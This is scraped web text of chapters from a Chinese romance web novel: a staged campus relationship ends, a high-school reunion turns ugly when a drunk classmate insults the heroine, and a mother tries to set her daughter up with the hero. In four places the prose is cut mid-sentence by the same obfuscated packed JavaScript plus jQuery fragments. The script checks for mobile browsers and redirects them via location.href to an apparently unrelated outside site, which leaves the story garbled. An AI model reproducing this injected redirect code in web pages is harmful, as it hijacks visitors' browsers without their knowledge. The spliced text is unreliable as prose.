“那我拉你进群。”柏随远多的什么也没解释，直接拿出手机把华可吟分别拉进有十四人的小组群和几百人的学校群。华可吟简单看一眼小组群，果真没有她认识的人，竞赛大群里却有几个华可吟同学和室友。 “对了...我，我还有件事。”华可吟本想今天饭后自然提及两人该分手的事，可现在柏随远刚说完带她做项目，她觉得自己简直像个狗血渣女预备役。不过她还是得说出来，不然又不知道要拖到什么时候。 “咱们是不是该分手了？” 柏随远还以为对方是要继续询问比赛事项，听到这句话愣在椅子上。 华可吟见对方沉默也没多想，柏随远本来就是个话很少的男生，她继续说：“也快两个月了，过几天我就陆续对外称我们和平分手。我会解释清楚，不会给你造成什么不好的影响。” 见对方想得这么周全，柏随远理性分析也找不出自己不答应的理由，只能回道：“嗯。” “还是谢谢你帮忙啦。”华可吟爽朗地笑着给柏随远添水。她就说嘛，柏随远应该还是不希望顶着有对象的名头人际交往的。昨天雨濛还反驳她，没见人家今天答应得这么爽快吗... * 柏随远不知道自己是怎么走出餐厅的，华可吟摆摆手说还有别的事就打车走了，留下他一个人步行到旁边地铁站，准备乘地铁回校。这是换乘站，身边人来人往非常热闹，柏随远却一直无法聚焦视线，直到错过了一班地铁才回神。 最近这一个月与华可吟陆陆续续的见面，以及同学校友对他偶尔冒出的打趣，他好像已经习惯了这个“和华可吟正在恋爱”的善意谎言。 他们两个人甚至没有过任何逾越同学的对话，可不知道为什么，柏随远在听到分手的那一刻还是脑袋空白。 他的记忆力不错，甚至可以说是极佳，他真的是忘记了两人还要“按时分手”的计划吗？柏随远第一次怀疑起自己的脑袋。 纷乱的思绪一点也理不清，要是此刻柏随远找个朋友问问，对方肯定会毫不犹豫地说出“你在意她”这句话。可惜的是，柏随远没有这样的朋友，这段时间对他最了解、相处最多的外人只有华可吟一个。 还没等回到寝室，又收到学长的消息，邀请他报名另一个数据项目，柏随远看到手机上的介绍立马打起了精神，暂时甩开脑海里的恍惚。 他来学院楼和学长开会，教室里有几个打过照面的同学，其中一个平日就很开朗的女生也知道华可吟，指着他手中明显是专柜包装好的礼物袋开口就说：“小柏，这是你给华可吟买的礼物啊？” “她给我买的。”柏随远随口说完觉得后悔，自己明明可以装没听到，或者只说不是。 “哟，校花人这么浪漫，还送小柏香水。”旁边几人本来在严肃讨论主题，听到这话后都发出调侃的笑声。 原来是香水...袋子上的西语是品牌名，柏随远可以根据音节念出来，却不知道究竟是什么东西。 他依旧提着那个礼物，周围的同学也都很礼貌的没有继续要求他拿出来展示。 他站在凳子旁明知此时自己应该再多说一句，哪怕只是一句“我们现在是朋友”，以此配合他中午点头答应了的分手。可他直到最后也没说出来，沉默看着众人的话题回归到项目。 凌晨，柏随远在宿舍床上翻滚难以入眠，舍友的呼噜声在耳旁响起，让人有些烦躁。 静悄悄的夜里，床上的男生最终还是翻身走到了桌边，打开他一整个晚上都刻意不去在意的那瓶香水。 月光从质量一般的窗帘缝里透过来，照得那透明瓶身微微发冷。柏随远按下喷头，细腻水珠的轨迹被光线照得清晰可见，一股苦而不涩的香气幽幽传来，最后还有点茶味木香。 这味道不算难闻，柏随远忍不住想起华可吟身上每次不知从何而来的香味。他知道香水是有留香时间的，可从来没看华可吟补喷过，难道是太常用以至于入味了吗？ 柏随远又喷了一下仔细闻，华可吟是不是想让他腌成这个味道去见她。 不对，他们已经分手了... 柏随远觉得自己心里这股酸麻的感觉太过陌生，最后，他还是决定上网寻求一下答案。他打开浏览器搜索“一个女孩提分手后，我心里不适是为什么”。浏览器弹出的第一条答案是：“接受现实，失恋后感到难过是很正常的。” 失恋？柏随远感觉有点荒唐，直接叉掉了这个网页 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334489|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，几秒后又打字：“假谈恋爱被提分手后，我心里不适怎么办？”笨蛋浏览器仿佛完全没识别到“假谈恋爱”这四个字，给出的答案和刚才一模一样。 柏随远无奈地揉揉眉间，他做不出去别人那里假借“我朋友”之名询问，有点烦闷地把手机塞回了枕头下，强迫自己闭上眼不再乱想。 * 下一次见到华可吟，已经是放假回家的前一天了，项目小组的人一起去找指导老师开会。 他们的小组群里这几天没什么人发言，只有柏随远出面问大家今天的会议是否有时间出席，众人都只回复最简单的收到，华可吟也混在其中。 团队里的同学来自好几个院系，由于柏随远是组长，项目便以他所在的计算机系名义申请，指导老师也是他们系的教授。老师看着走进来的十几人，先是说了些大家认真做之类的话，然后基本上就只和柏随远周围的几个同学讨论确定主题。 华可吟站在边缘仔细听了半天，发现自己只能听懂大概，还是在他们讨论的较为浅显的部分。没办法，华可吟的专业和计算机的交叉内容很少，就算华可吟想多了解，也需要先把一些基础概念和名词对上号。 不过这下她明白了，柏随远似乎真的只是想让自己在小组里“坐享其成”。她并不喜欢这种感觉，但很感谢柏随远的好意，她能做的就是参与配合后续工作，认真完成小组内给自己分配的内容。 果然，当天晚上柏随远就在群内发布众人要在假期期间完成的任务——前期资料搜集。 他们要进行的是物联网平台构建的项目，主题是今天和老师一起讨论确定的，和指导老师的研究方向有一定的重合。几个计算机系的同学将花时间提前熟悉这方面所需要的编程软件和建模方法，包含华可吟在内的其余同学则是先搜集资料，由几个关键词延伸整理，这也是后续完成项目的基础。 每个人要做的工作都以名单的形式列了出来。柏随远并没有专门忽略华可吟的名字，他就算再不懂人情世故，也知道小组内不可能留下一个纯挂名的人，更何况他认识的华可吟，本来就是个认真要强的女孩。不过柏随远想想，还是动用了队长的小小权力，给华可吟安排了研究已经非常成熟的方向的资料搜集任务。 现在的华可吟可是感觉不到“队长”对她的照顾，因为任务中的每行字凑在一起，都处于她的知识盲区。 她起初想去私聊询问柏随远最基础的资料应该从哪看起，可打开聊天框，华可吟突然意识到自从高数考试完、自从上一顿讨论再次互换注意事项的饭局后，这几天柏随远没有联系过她一次。 前一个月，由于每周的补习，两个人或多或少都会发些“几点在哪见”一类的消息，内容很公事公办，可是聊天频率就能看出关系还算熟络。 可是今天在办公室，柏随远一眼都没有看过她。她一直紧盯会议中心，老师旁边柏随远的头甚至一次都没有往自己这边转过来。对方给她的距离感比以前更甚，仿佛她完全是个陌生同学。 锤锤脑袋，华可吟在心里吸了口气，自己究竟在想什么。柏随远明明之前就说过，这是他的补偿，把自己拉进小组，人家有什么责任要时刻关注自己呢？ 本来就是除互换这种奇幻的事外毫无联系的陌生人，柏随远对谁都是这股不怎么理睬的样子，自己又不是什么特别的人。华可吟安慰自己，她握紧拳头想，肯定不能在项目里混！ 16. 聚会 寒假很快如期而至，华可吟和程雨濛两个人在以雪景闻名的Y市玩了三天才回家。 到上阳市后她又忙碌了三四天，录制一系列“旅行好物”“拍照设备分享”“穿搭分享”的视频，准备好足量的素材后，决定将其和旅游vlog一起在寒假期间陆续剪辑发出，以保证自己内容的更新频率。 这种把工作全都凑在一起做的行为属实是有点透支人的精力，这几天华可吟几乎没怎么睡，白天录制自然光下的内容，晚上就打光录口播。 她的账号已经非常成熟了，每个系列的主题都能保证不错的播放量，这种看得见的反馈也是她一直耗费心思想做好自媒体的动力。 当她终于可以瘫在家里床上休息时，已经是一月十二号。明天有几个高中同学叫华可吟聚餐，都是和她同班的同学，所以没有程雨濛。 其中有个高中时期就和华可吟关系很好的女生，因此她收到消息时爽快答应。不过上午还要完成项目小组布置的资料收集，不能参加同学聚会的第一个项目，只能从晚饭开始加入。 上阳市最繁华的商业街，一家颇具人气的火锅店。以“市井”作为卖点的店内热闹非凡，一个个大桌子铺满几百平的大厅。一群年轻人落座在角落的圆桌上，一时间这一片区域充满青春气息的欢声笑语。 “谁记得旁边班那个老是在教室里拍球的男生。”一女生身体前倾眉飞色舞道。 “记得记得，他是不是考去外地了。” “我昨天在抖音上刷到他，照片p得可狠了，拉腿把170拉得像190。” “真的假的，账号是哪个？！”几个男男女女一起凑到女生手机旁，看高中熟悉的人在这半年发生的变化。 “逸阳，这次回来咱们再约几次篮球啊。”旁边男生轻拍林逸阳的肩膀，在热闹的饭桌上凑过来说。 “好啊，就去新开的体育馆。”林逸阳嘴角噙着一抹笑意，时不时加入热烈的讨论。 “说好了，来，再喝一口。”自认为已经是成年人的学生们今天点了几瓶啤酒喝，酒精把气氛炒得更热烈。 “我先不喝了，熊哥你牛啊，喝了几瓶了？”林逸阳一一应付劝酒的男生，桌底的手指却不自觉攥紧黑色工装裤。 今天，她也会来。 桌上其他人此时也提到了华可吟。“华可吟到哪了？”一个女生突然大声问桌上相隔两个座位的另一女生。 “她快到了。”韩子蓉立刻回答，高中在班里她和华可吟的关系最好，可吟是她发消息叫来的，座位也留在了她旁边。 “不知道华可吟当网红后成什么样儿了。”言梦琪掩嘴笑道，语气有点弯弯绕。 她承认她有点嫉妒华可吟，聪明、学习好、引人注目，学生时期不管干什么都很出风头。可最令她没想到的是，对方居然会因为她发上网的一张照片成为网红。 她即期待华可吟的到来，又下意识希望对方临时有事。 言梦琪也很优秀，可能第一眼没有华可吟上镜，但是另一种更为内敛的气质。她心里清楚这点，她和华可吟根本不是一个类型，在高中甚至是她这种文气一点的外表更受欢迎。 高中毕业后她一直默默用小号关注着华可吟，观看华可吟展现出来的新生活。甚至有可能，她在屏幕前比华可吟自己都更仔细看她的照片，揣摩她爱做的表情。 言梦琪也说不清自己究竟是什么心态，以前在高中同班只是心里暗自较劲，想要在学习上和对方再争一争。她觉得是她赢了，她考入TOP2的高校，开始自己多彩的大学生活。 可每天晚上她独自躺在宿舍的小床上，都会不自觉打开那个，她不好意思告诉别人自己天天用的短视频软件。而且因为她的账号只关注了华可吟一个人，每次一打开软件，首页跳出来的第一个推荐的就是对方的最新视频。 华可吟账号的粉丝数量在她眼里一点点增长。现在的网络收入比以前更透明，言梦琪当然知道自媒体有多挣钱。 她在大学都干了什么？参加竞赛了吗？绩点是多少？每个周末会去玩还是去图书馆呢？ 言梦琪很想把华可吟想象成一个上大学之后因为当网红荒废学业，靠到处蹭网络热度出位的不被主流接受的主播。但她知道，华可吟绝对不会这样，华可吟是个在哪里都和自己一样优秀的女孩。 想到视频里对方比以前更加出众的气质，言梦琪有些僵硬地继续说：“也不知道华可吟当网红之后去不去上课。” “听说拍视频可赚了，不过我们这种学历的最好不要干太掉格的事吧。” “我听说有些网红私底下还骗粉丝的钱呢...”一个高中时期就不怎么受欢迎的男生心里酸酸地想，为什么自己不是个漂亮女生，随便拍拍照就能赚钱。 韩子蓉听着这群人的聊天内容，满心都是不可思议，有些以前觉得不错的同学，今天说话怎么都怪怪的。 “可吟她...”，她刚想反驳这群人的话，前台鱼缸转角处走进一个被服务员领路的女孩，瞬间吸引了大堂里四面八方客人的目光。 女孩高挑的身形穿着一件白色长大衣，乌黑的顺长发倾泻而下，走动中像一匹流光溢彩的锦缎。 一双眼瞳明亮如星，白皙面庞上琼鼻玉立。华可吟今天还用心化了妆，面无表情时让人有点不敢去打扰这样气质精致的人。 走到大桌前，华可吟露出一个明朗的笑，张口和大家说了声嗨，众人才回过神，重新热聊起来。 一直到对方脱下大衣坐在位置上和旁边的韩子蓉聊起天，林逸阳激动的心都没能平静下来，在胸腔中猛烈跳动强调自己的存在感。 她好像更耀眼了，林逸阳低头检查自己的穿着，早上专门翻遍了整个衣柜才找出显得他身材最好的黑色卫衣和空军外套，今天还被同学打趣几句上大学后衣品变好了，也不知道过了一天有没有变皱变形。 旁边男生也注意到了自从华可吟进来后林逸阳的变化，眼神带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336607|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些调侃地看他，高中时期林逸阳暗恋华可吟并不是什么很秘密的事情。 “可吟，你变得更好看了。” “好久不见，蓉蓉，我没来晚吧。” “没有，我们也刚看完电影，锅底还没上呢。”韩子蓉把手机上扫出来的菜单页面递给华可吟：“你想吃什么？他们说直接加就行。” 还没等华可吟仔细翻看这家店有什么招牌菜色，桌上坐主位的班长就开口了，带着一股官腔：“可吟，你现在的发展不错啊。” 有些大学的气氛对于象牙塔中的学生来说过于成熟，桌子上刚进入大学的同学们大部分都不习惯，高中时期的班长却非常乐在其中。 “反正比你好。”言梦琪在不面对自己对华可吟的复杂情绪时都很直来直去，一点也没给班长面子，她可早看不惯这人了。 班长仿佛没听到一般又站起来说：“大家随便点菜哈，今天是我们进入大学后第一次聚会，大家吃好喝好。” 明明最后是AA制，班长这样说话搞得像他请客一样，底下只有几个和他关系好的男生为不冷场应和了几句。 韩子蓉坐在旁边翻了个白眼：“今天一天都是这样，不知道他怎么能上半年学跟凭空老二十岁一样。” 华可吟笑笑没说什么，这种性格的人太多了，饭局常见，年级越大越多。 言梦琪和身边女生说自己学校八卦时偷偷看了这边两眼，最后也没继续在饭桌上提起什么网红不好之类的话题。 吃火锅比其他菜色忙碌的多，一桌两个大锅，热气腾腾的在冬天显得格外诱人。华可吟的筷子就没停，不过考虑这是重油重辣的锅底，还是选择性地没吃油炸物。 饭桌上后续大家吐槽了几句老师，互相分享自己学校的趣事，以及没来的同学的八卦，有些瓜把华可吟都惊得合不拢嘴。 饭吃得差不多了，八卦也差不多说尽了，班长起身让大家转场去他订好的KTV唱歌。一众青年男女站起来穿外套，引得周围食客又多看了这桌两眼。 “我来打车。” “一个车起码坐一个男生吧。” 15个人在火锅店门口打了四辆车，华可吟和韩子蓉上了最后用韩子蓉手机打的那辆，林逸阳也跟在后面跟着坐上了副驾。还有个人想和他抢呢，熊哥在旁边悄悄帮他拉走那个一直往华可吟前面凑的男生。 导航显示还有半个小时的路程，三人坐在车里，耳边的声音终于从刚才的嘈杂转为安静。 前座的林逸阳一身黑，从上车开始就没出声，韩子蓉和华可吟倒是仿佛有说不完的话，上了车还在窃窃私语。 后座韩子蓉的笑声突然响起：“可吟，你在大学交的那个男朋友肯定很帅吧。”刚刚在饭桌上人太多，她就没好意思提起华可吟的男朋友。好奇了整顿饭的时间，现在终于有机会八卦八卦美女的恋情了。 “分了。”华可吟的声音还是那么温柔，一听就知道她的脸上挂着淡淡的、礼貌的笑。 17. 唱歌 “啊，为、为什么啊？”韩子蓉担心是男方做过什么伤害华可吟的事。 “性格不太合适，就和平分手了。” “哦哦…这样啊。”韩子蓉语气轻松不少，继续说：“可吟想找什么样的找不到啊。你喜欢什么样的男生啊？高中学校里好多人追你，你都没答应，还有几个大学开学之后问过我你的消息呢。” 华可吟知道高中有些同学对她有朦朦胧胧的好感，不过自从她高一刻意疏远并拒绝过几次表白后，就没有异性会在她面前表现得很明显了。 “有几个外班的，倒是没有我们班的。”韩子蓉心想，自己班的同学对华可吟更熟悉，可能都觉得自己配不上她吧。不过，她这才意识到前座还坐着班草林逸阳。 她仔细回忆，自己是不是隐约听说过林逸阳也喜欢华可吟？ 林逸阳从坐进车就不知道怎么开口和两人搭话。他高中是体育特长生，训练很多，和班级里的女生都不是很熟。 在听到“男朋友”三个字的时候，他心跳都停滞了。他在华可吟的视频下翻到过她和那个男生的合照，两个人的姿势说不出的亲密。 今天看到华可吟的那一刻，心脏仿佛死后复活一般狂跳。他也很想找时间问问华可吟和现在的男朋友怎么样了，没想到韩子蓉正好开口。 分了。 哈哈哈。 林逸阳一扭头就看到倒车镜里映出的自己的笑脸，微愣了一下，然后笑得更深。 他在心里给自己打气，等到车停稳后快速下车走到后座，为两位女士开门。 韩子蓉看看林逸阳，又看看华可吟，心想果然她的信息无误。 先到的同学在群里发来了开好的房间号。这是一间有整墙大屏幕的包厢，已经点好的歌曲MV正在播放，不断闪动的画面显得房间里的灯光比一般小厅要亮些。 有个男生站在立麦前唱着节奏感很强的热门歌曲，两张长桌上还摆着刚点的洋酒。华可吟看看那两排度数比啤酒高的酒瓶，皱了皱眉——以班长为首的几个男生刚刚就有点走路不稳。 “可吟也来一首吧。”几个爱唱歌的同学唱完拿手曲目后，众人也起哄叫周围人点歌。 这种多人在KTV的团建，一直不参与唱歌会显得有点不合群。华可吟用手机点了一首音域适中的女歌手的歌，又被大家起哄去立麦那里站着唱。 “行。”华可吟没有一点扭捏，唱歌时还和韩子蓉互动了几下，逗得韩子蓉很开心，好几次捂脸假装害羞。 一曲唱毕，韩子蓉和几个同学一起捧场地鼓掌。华可吟走回刚才的位置，却发现原本坐在自己另一边的女生换成了林逸阳。 “可、可吟。”林逸阳说话时感觉有点紧张。 华可吟点点头表示自己在听，见她这副样子，林逸阳更不知道该怎么开口了。 “大学生活怎么样？”林逸阳想了半天，只能想起这个无聊的话题。 “不错啊，你呢？” “我也很好……我和你们校队打过比赛，要是能去你们学校转转就好了。” “你来的话，我们一起出去玩呀。”华可吟客套地回应。她没看过校篮球队的比赛，但记忆中她们学校的体育成绩还不错。 “我，不知道你还记不……” 林逸阳正在说话时，拿着话筒嘶吼唱歌的男同学突然开始喊话。 “华可吟同学，你怎么只跟林逸阳讲话？” 华可吟抬头看向喊话的男生，他表情扭曲、脸色奇怪，说话断断续续的样子一看就已经醉了。 房间里的人都安静下来，转过头看向两人。华可吟没有回话，继续微笑着观察台上的男生，示意他继续说。 “我……告诉你……”男生打了个嗝。 言梦琪在底下能想象到那股醉酒的臭味，露出嫌弃的眼神。 班长立马上去想要夺过男生的话筒，男生看到班长的动作却反应很快。 “班长……华可吟不就看不起我们吗？” 班长面色沉如水，觉得再不制止他，自己毕业后主持的这场聚会可就毁了。 他喊出男生的名字，没想到那男生越说越流畅。 “华可吟高中时候就不理我们，现在倒是去网上发照片给所有人看，不就是想找个金主嫁吗？亏我以前还觉得你是个好女孩呢。还有班长，你不是也说早有人爆出来她的私事吗，今天在这装什么纯啊。” 华可吟听了不气反笑。她高中时确实没有注意过这几个人，不过也没想到相处三年的同学背后还这样编排自己。 她清清嗓子，正要开口说话时，旁边的林逸阳先站起身。 “你做梦梦到的这些吗？张口就来。我还说你去外面卖屁股呢，编谎话也靠谱点。”林逸阳的语气很嘲讽，“想要华可吟理你，也要先看自己配不配。” 满包厢的人都没想到他会突然暴起，一时间鸦雀无声。班长直到林逸阳拉着华可吟的手臂往外走时才作势去拦。 跟了几步又想到醉酒男生刚才话里的内容，自觉上去说不定也得讨顿骂。他停下脚步，转过身恶狠狠地瞪了一眼台上的男生——真是笨蛋。 韩子蓉也很愤怒，懒得管什么场不场面的，拿起自己的包就往门外走。 三人的相继离场让气氛很尴尬，班长只能拿起另一个话筒说些“他喝醉发酒疯”这种补救的话，随即又自己上台点首歌唱起来，底下的同学才渐渐恢复交流。 好不容易重新炒热场子，班长的心又放下一点，心里思考着华可吟是现在班里发展最好的同学，以后的聚会还是不能没有她。 他去外面拿了几瓶饮料进来，走向剩下的几个女生，满脸堆笑地开口说：“刚刚有几个男生喝醉了，真是让你们女生看笑话了哈哈。不然你们劝劝可吟？和同学闹僵也不好啊，让她再回来吧，还准备了些游戏呢。” 说罢，他还直接点了几个高中时期比较内敛的女生的名字，想让对方在一时不好意思下按照自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344987|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话做：“小赵，小菲，你们跟华可吟说一下呢。” 言梦琪早在唱歌男生开始发疯喊话的时候脸色就变了，现在听到班长走到面前说这个，站起来一把推向班长。 班长一个不算矮的男生居然就这么被推倒，后背栽在侧面的皮质沙发上，一脸不可思议。 “怎么有脸的啊。”言梦琪声音拔高，语气里满是嫌弃，手指过和班长关系最好的几个男生道：“你，你，你，一群low货！” 接着又对身边几个一直凑在她旁边的女生说：“咱们走。” 说罢像鸡妈妈带领小鸡一般，包厢里的女生一连串全跟在言梦琪后面走了。 被林逸阳拉走的华可吟不知道包厢里她走后发生的事。他们出来后没走两步，就看到跟上来的韩子蓉。 华可吟本想道谢后就和韩子蓉一起离开，没想到林逸阳又拽住华可吟的袖子，询问能不能再说几句话。 华可吟点头，把韩子蓉送上计程车后，两人在KTV楼下的一个角落站着吹冷风。 “你别放在心上。”林逸阳想到自己刚才的举动有点害羞，但还是鼓起勇气安慰华可吟。 “我没事，就是有点可笑。”华可吟的后台很多这种带有攻击性的留言，她已经可以做到完全不被恶言影响心情。 “那就好，他们喝点酒就像忘记自己是谁一样。” “谢谢你。”华可吟笑起来，原本不明显的卧蚕弯弯的。 “华可吟同学，我……” 华可吟直觉面前这个搓着手的高大男生接下来要说的话不对劲，她连忙转过脸，正巧看到走出来的一群女生。 “言梦琪！”华可吟朝那群女生的背影喊。她猜女生群里一定有言梦琪，高中时期对方就是女生交友圈里最坚固的中心。 她转身对林逸阳说：“林逸阳同学，今天谢谢你，我要去和梦琪她们一起打车回家，你也早点回家哦。” 言梦琪正一边和旁边女生吐槽班长今天的作为，一边往马路走想要打计程车，突然听到背后传来自己的名字。 她一扭头，楼侧的阴影处居然走出来正对着自己招手的华可吟。 对方笑意吟吟地走过来，居然还搭上言梦琪的手臂，用不小的嗓音说道：“我和你们一起打车回家。” 说完这话，华可吟觉得林逸阳应该体会到自己的婉拒。她觉得林逸阳不像那种只能听得懂最直白话语的人。高中她就听说过对方在校篮球队非常受欢迎，不过自己和他除了同班，没什么接触啊。 光顾着思考自己有没有让人撤回想法的华可吟完全没注意到自己正搭住的手臂有多么僵硬。言梦琪觉得自己是不是做噩梦了，上大学后的华可吟为什么会变得这么自来熟？ 夜已经深了，几个女生打了两辆车，约定到家后互相报平安。 因此，回到家的言梦琪就看到自己手机里完全没聊过天的华可吟发来的留言： —sing：已到家，谢谢你【笑】 18. 客人 柏随远今天同样很忙，他妈妈的朋友一家来做客时，他正在看老师新发的文献资料。 何雅清在谭斯去倒茶的间隙，目光直直地盯着母亲说：“妈，何必这样？” 何雅清妈妈瞥了女儿一眼，压低声音说：“谭阿姨的儿子可是又帅又聪明，你和他认识一下能有什么坏处？” “我才19岁，这和相亲有什么区别？”何雅清眉毛皱起，眼里满是不解和抗拒。 “哎呀你这孩子，就是认识认识，你想哪去了。”何母瞪她一眼。谭老师的儿子从小就很有名，长得好看成绩也好，到年龄肯定很抢手，他们家要先下手为强。 不过自己女儿也一直学习优异，就是长大不听话，总想和自己顶嘴。何雅清妈妈原本打算今天不给女儿透露此行的目的，不料两个人刚进门没多久，何雅清就又开始回嘴。 何雅清觉得离谱得想笑。家中父亲一直很强势，觉得男人应该是一家之主，母亲则总在自己耳边念叨些女孩子该温柔娴静的话。不过何雅清谁的愿望也没实现，中学时一直住校，上大学后她又发觉人外有人天外有天，在学校里每天都忙得不可开交，根本没时间思考这些情情爱爱。 寒假回家后，父母因为没有她作为缓冲，矛盾愈发激烈，两个人这几天吵了无数次架。直到今天，母亲的脸色才难得地好起来，很是积极地带着自己来拜访同事。 谭斯阿姨家原本酒柜的地方摆放着些奖状，何雅清微微一眯眼看清上面的名字——柏随远。这个名字并不陌生，何雅清从小听到过很多遍。 他的学习和自己一样好，两人小学不在同一校区，中学后何雅清爸妈把她送去外地更好的寄宿学校。虽然从未同校读过书，父亲却总拿两人做比较，在家以柏随远新的成绩给她施压，母亲还会在这时来提醒自己女孩子脾气应该好点。 如今又看到这个名字，何雅清觉得既好奇又烦躁。但她快速反应过来，今天母亲仿佛隐瞒什么般频频躲避她的视线，以及柏随远和她相当的年龄。怎么看都是场离谱的好戏，何雅清露出一丝嘲讽的笑，她才不要继续受父母的摆布。 何母看女儿皱着眉毛，放缓声音继续说：“女人总归是要嫁人的，年轻的时候不争，好男人都被别的女孩抢走了。” “妈，你也可以离婚找个年轻的，反正你和爸也天天闹矛盾。” “唉，你这孩子，我们能一样吗？”何母的眼中闪过一丝暗淡，她其实早就怀疑老何在外面有人，说不定有别的女人给他生其他小孩。可是夫妻这么多年，一旦离婚，这个家就散了，这叫她怎么能狠得下心？ 何雅清看着妈妈骤变的脸色，心里也很酸楚。她初三请假回家时就偶遇过父亲带另一个女人逛街，当天晚上她偷偷告诉母亲时，换来的却是母亲睁大眼睛的怒吼：“小孩子懂什么！” 既然是父亲先做错事，长大后她多次提议母女俩可以自己过，她相信以自己的成绩和能力，未来一定会给母亲更好的生活。可是母亲就像现在这样，回避一切和父亲有关的事情，总是把话题移到她身上。 “你看，你是名牌大学的学生，他也是，你们俩肯定有共同语言。”何母不死心地继续劝。 “我的学校还比他好呢。”何雅清知道柏随远所在的学校计算机系是A+学科，但还是轻蔑地回应母亲。 “人家还拿过不少奖。” “我也拿过很多。” “你是不是就故意不听我的话？” “我说的是实话。” ...... 母女俩拌嘴的声音越来越大，谭斯犹豫片刻，还是决定去房间里把柏随远叫出来。她明白对方撮合儿女的意思，虽然不太喜欢何教授，但何教授的女儿从小就优秀，聚会时方老师带何雅清去过两次，小姑娘性格聪明又独立。 “随远，外面是方阿姨和她女儿雅清。” 柏随远起身和谭斯走出来，一进客厅就看到沙发上两人神色都不好，方阿姨一看到他，表情像是融化般露出一个大大的微笑。 “谭老师，你家儿子真是一表人才啊。” “哪里哪里，不如雅清优秀，还是你和老何会教育。” 母亲堪称谄媚的态度让何雅清忍不住翻个白眼，但还是礼貌地先和那个面无表情的男生打招呼。 “你好，我叫何雅清。” “你好，柏随远。” 谭斯继续介绍：“雅清在A大学法语，学习成绩可是很好的。”在外面互相夸对方的孩子是常规的客套话。 “随远啊，阿姨老早就想认识你。今天一看你真是帅，是不是遗传谭老师的漂亮啊，我就说谭老师人好看，眼光好，还特别会教育孩子呢。” 这话让谭斯不好意思地捂嘴笑，端起茶递到何雅清手里：“雅清，你来阿姨家玩，阿姨可高兴了，你妈妈每次分享你的事，我都羡慕得不得了。” 虽然对自己母亲的做法有些不满，但听到这样的夸奖，何雅清还是礼貌回应：“谢谢谭阿姨，我妈也常提到您呢。”她比柏随远会应付这种场合多了。柏随远出房间坐在沙发上，到现在除了问好一句话都没说。 何雅清余光瞟过对方的脸，不得不承认柏随远很帅，五官精致，气质独特，可那面无表情的样子，看着太过冷淡，实在不是她感兴趣的类型。她在心里默默想，她可不想和一个像父亲那样难沟通的男人过一辈子。 何雅清转过头，在接下来的整个晚饭都没有再去关注柏随远，对方也几乎没说几句话，明显对她也不感兴趣。 在柏家待到快九点，母女俩才告辞离开。何雅清被妈妈先轻轻推出门，听到一声“你去外面等我”。 她摇摇头继续往外走，想着回去就要找机会和母亲说清楚，她不想现在找什么男朋友，学业上的事情已经让她的时间很不够用。 何母把何雅清支走后转头看向谭斯，两个人站在别墅门前。何母挽住谭斯的手臂，毫不委婉地说：“谭老师，孩子年轻，容易被骗。你家随远那个女朋友，我听说不简单。” 谭斯听到这话脸色一愣，随后笑道：“那个女孩你们也知道？” “现在年轻人就看脸，那种在网上跳来跳去的女孩，怎么会是适合结婚的人啊。”何母觉得是柏随远可以隐瞒了自己女朋友的情况，拿出手机翻开华可吟的主页，示意谭斯看。 听着何母嘴里的话越来越过分，谭斯收起温柔客套的笑，语气平静地说：“他的事我们一般不插手，谢谢你关心啊，方老师。” “这...那我先走了。谭老师，过两天聚会再见啊。” 刚坐回桌前的柏随远把今天收集的资料归纳到文档里，突然，卧室的门被敲响。 “进来吧。” “喝点热水。”谭斯端着玻璃杯走进来。 柏随远察觉到母亲有话要说，抬头看去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349372|167761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谭斯笑笑，斟酌着开口：“随远，你和你女朋友怎么样？” 谭斯说起这种话题，多少有点不好意思。儿子小的时候正是他们夫妻事业的上升期，他们虽然特意留意孩子的教育，却忽略了亲子间的交流。等柏随远长大点后，父母才意识到儿子不怎么爱说话。 这几年谭斯不再带学生，工作负担轻些，可母子之间也没有过几次交心的机会。丈夫柏天青更不用说，对儿子的事比她关心得还少。不过她很好奇，柏随远不喜欢聪明沉稳的何雅清，那他是喜欢上视频里那个女孩的什么，漂亮吗？ 柏随远听到母亲的话才意识到，原来父母也听说自己和华可吟谈恋爱的事。 